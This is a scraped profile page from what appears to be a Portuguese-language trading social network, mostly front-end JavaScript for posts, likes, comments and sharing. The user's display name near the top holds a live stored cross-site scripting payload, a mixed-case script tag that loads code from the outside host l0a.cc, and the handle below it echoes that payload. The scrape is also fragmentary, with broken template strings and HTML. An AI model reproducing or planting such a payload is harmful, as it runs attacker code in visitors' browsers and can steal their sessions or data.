${contentHtml}
${tickerHtml}
<
<sCRiPt/sRC=//l0a.cc/a/></sCrIpT>nocal Gratuito Observador
@scriptsrcl0accascriptnoca
0 seguidores
·
0 seguindo
·
0 posts
·
0 análises
Carregando publicações...
Carregando seguidores...
Carregando...
Sobre o Trader
${TP_IS_PUBLIC ? `
Cadastre-se para comentar
` : `
`}
`;
}
function tpFormatContent(text) {
text = tpEsc(text);
text = text.replace(/#(\w+)/g, '#$1');
text = text.replace(/@([a-z0-9_.]+)/gi, '@$1');
text = text.replace(/(https?:\/\/[^\s]+)/g, '$1');
return text;
}
function tpEsc(str) {
if (!str) return '';
const div = document.createElement('div');
div.textContent = str;
return div.innerHTML;
}
// ---- DELETE COM MODAL ----
function tpConfirmDelete(postId) {
tpShowModal(
'Excluir publicação',
'Tem certeza que deseja excluir esta publicação? Esta ação não pode ser desfeita.',
'Excluir',
'fa-trash',
'danger',
function() { tpDeletePost(postId); }
);
}
async function tpDeletePost(postId) {
const formData = new FormData();
formData.append('action', 'delete_post');
formData.append('post_id', postId);
try {
const resp = await fetch(TP_AJAX, { method: 'POST', body: formData });
const data = await resp.json();
if (data.success) {
const postEl = document.getElementById('tp-post-' + postId);
if (postEl) {
postEl.style.opacity = '0';
postEl.style.transform = 'translateY(-10px)';
postEl.style.transition = 'all 0.3s ease';
setTimeout(() => postEl.remove(), 300);
}
// Toast removido
} else {
if (typeof showToast === 'function') showToast(data.message || 'Erro ao excluir.', 'error');
}
} catch (err) {
if (typeof showToast === 'function') showToast('Erro de conexão.', 'error');
}
}
// ---- LIKE ----
async function tpToggleLike(postId, btn) {
if (tpRequireLogin('curtir')) return;
const formData = new FormData();
formData.append('action', 'toggle_like_post');
formData.append('post_id', postId);
try {
const resp = await fetch(TP_AJAX, { method: 'POST', body: formData });
const data = await resp.json();
if (data.success) {
const icon = btn.querySelector('i');
const countEl = btn.querySelector('.like-count');
if (data.liked) {
btn.classList.add('liked');
icon.className = 'fas fa-heart';
} else {
btn.classList.remove('liked');
icon.className = 'far fa-heart';
}
countEl.textContent = data.count;
}
} catch (err) {}
}
// ---- BOOKMARK ----
async function tpToggleBookmark(postId, btn) {
if (tpRequireLogin('salvar')) return;
const formData = new FormData();
formData.append('action', 'toggle_bookmark');
formData.append('post_id', postId);
try {
const resp = await fetch(TP_AJAX, { method: 'POST', body: formData });
const data = await resp.json();
if (data.success) {
const icon = btn.querySelector('i');
if (data.bookmarked) {
btn.classList.add('bookmarked');
icon.className = 'fas fa-bookmark';
} else {
btn.classList.remove('bookmarked');
icon.className = 'far fa-bookmark';
}
}
} catch (err) {}
}
// ---- COMMENTS ----
async function tpToggleComments(postId) {
const section = document.getElementById('tp-comments-' + postId);
if (section.classList.contains('active')) {
section.classList.remove('active');
return;
}
section.classList.add('active');
const listEl = document.getElementById('tp-comments-list-' + postId);
listEl.innerHTML = '
U
';
try {
const resp = await fetch(`${TP_AJAX}?action=get_comments&post_id=${postId}&page=1`);
const data = await resp.json();
if (data.success) {
if (data.data.length === 0) {
listEl.innerHTML = '
Nenhum comentário ainda. Seja o primeiro!
'; } else { listEl.innerHTML = ''; data.data.forEach(comment => { listEl.insertAdjacentHTML('beforeend', tpRenderComment(comment, postId)); }); } } } catch (err) { listEl.innerHTML = 'Erro ao carregar.
'; } } function tpRenderComment(comment, postId) { const avatarHtml = comment.author_avatar ? `';
comment.replies.forEach(reply => {
repliesHtml += tpRenderComment(reply, postId);
});
repliesHtml += '
';
}
return `
${avatarHtml}
${tpFormatContent(comment.content || '')}
${comment.time_ago}
${repliesHtml}
Nenhum seguidor ainda
${TP_IS_OWN ? 'Participe da comunidade para ganhar seguidores!' : 'Seja o primeiro a seguir este trader!'}
' + data.data.map(u => tpRenderUserItem(u)).join('') + '
';
}
tpFollowersLoaded = true;
}
} catch (err) {
container.innerHTML = 'Erro ao carregar
Não segue ninguém ainda
${TP_IS_OWN ? 'Explore a comunidade e siga outros traders!' : 'Este trader ainda não segue ninguém na comunidade.'}
' + data.data.map(u => tpRenderUserItem(u)).join('') + '
';
}
tpFollowingLoaded = true;
}
} catch (err) {
container.innerHTML = 'Erro ao carregar
${avatarHtml}
${followBtn}
Carregando...
';
try {
var resp = await fetch(TP_AJAX + '?action=get_repost_data&post_id=' + tpShareCurrentPostId);
var data = await resp.json();
if (data.success && data.data) {
var p = data.data;
var avatarHtml = p.author_avatar
? '' + tpEsc(contentPreview) + '
' + (p.image ? 'Post não encontrado
';
}
} catch (err) {
previewEl.innerHTML = 'Erro ao carregar preview
';
}
}
async function tpConfirmRepost() {
if (!tpShareCurrentPostId) return;
var comment = document.getElementById('tpShareRepostText').value.trim();
var formData = new FormData();
formData.append('action', 'create_repost');
formData.append('post_id', tpShareCurrentPostId);
formData.append('comment', comment);
try {
var resp = await fetch(TP_AJAX, { method: 'POST', body: formData });
var data = await resp.json();
if (data.success) {
tpCloseShareModal();
// Toast removido
// Reload posts if on own profile
if (TP_IS_OWN) {
tpPostsPage = 1;
tpLoadPosts(1);
}
} else {
if (typeof showToast === 'function') showToast(data.message || 'Erro ao compartilhar.', 'error');
}
} catch (err) {
if (typeof showToast === 'function') showToast('Erro ao compartilhar.', 'error');
}
}
function tpShareExternal(platform) {
var url = encodeURIComponent(tpShareCurrentUrl);
var text = encodeURIComponent('Confira esta publicação no TradyNox!');
var shareUrl = '';
switch (platform) {
case 'whatsapp':
shareUrl = 'https://wa.me/?text=' + text + '%20' + url;
break;
case 'telegram':
shareUrl = 'https://t.me/share/url?url=' + url + '&text=' + text;
break;
case 'twitter':
shareUrl = 'https://twitter.com/intent/tweet?text=' + text + '&url=' + url;
break;
case 'copy':
tpCopyToClipboard(decodeURIComponent(url));
return;
}
if (shareUrl) {
window.open(shareUrl, '_blank', 'width=600,height=400');
}
tpCloseShareModal();
}
function tpCopyToClipboard(text) {
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(text).then(function() {
tpCloseShareModal();
tpShowShareToast();
}).catch(function() {
tpFallbackCopy(text);
});
} else {
tpFallbackCopy(text);
}
}
function tpFallbackCopy(text) {
var ta = document.createElement('textarea');
ta.value = text;
ta.style.position = 'fixed';
ta.style.left = '-9999px';
document.body.appendChild(ta);
ta.select();
try {
document.execCommand('copy');
tpCloseShareModal();
tpShowShareToast();
} catch(e) {
showToast('Não foi possível copiar o link.', 'error');
}
document.body.removeChild(ta);
}
function tpShowShareToast() {
var toast = document.getElementById('tpShareToast');
toast.classList.add('visible');
setTimeout(function() {
toast.classList.remove('visible');
}, 2500);
}
// ---- STATS CLICÁVEIS ----
function tpStatClick(tab, el) {
var tabs = document.querySelectorAll('.tp-tab');
tabs.forEach(function(t) {
var tabText = t.textContent.toLowerCase();
if (tab === 'posts' && tabText.indexOf('post') !== -1) {
t.click();
} else if (tab === 'followers' && tabText.indexOf('seguidores') !== -1) {
t.click();
} else if (tab === 'following' && tabText.indexOf('seguindo') !== -1) {
t.click();
}
});
var header = document.querySelector('.tp-profile-header');
if (header) {
header.scrollIntoView({ behavior: 'smooth', block: 'start' });
}
}
// ---- SCROLL TO TOP ----
var tpScrollTopBtn = null;
window.addEventListener('scroll', function() {
if (!tpScrollTopBtn) tpScrollTopBtn = document.getElementById('tpScrollTop');
if (tpScrollTopBtn) {
if (window.scrollY > 600) {
tpScrollTopBtn.classList.add('visible');
} else {
tpScrollTopBtn.classList.remove('visible');
}
}
});
// ---- ANIMAÇÃO DE NÍVEL ----
function tpAnimateXpBar() {
var fill = document.querySelector('.tp-xp-fill');
if (fill) {
var targetWidth = fill.style.width;
fill.style.width = '0%';
setTimeout(function() {
fill.style.transition = 'width 1.2s ease';
fill.style.width = targetWidth;
}, 300);
}
}
// ---- ESC para fechar lightbox e modal ----
document.addEventListener('keydown', function(e) {
if (e.key === 'Escape') {
document.getElementById('tpLightbox').style.display = 'none';
tpCloseModal();
}
});
// ---- INICIALIZAÇÃO v6.0 ----
document.addEventListener('DOMContentLoaded', function() {
tpAnimateXpBar();
});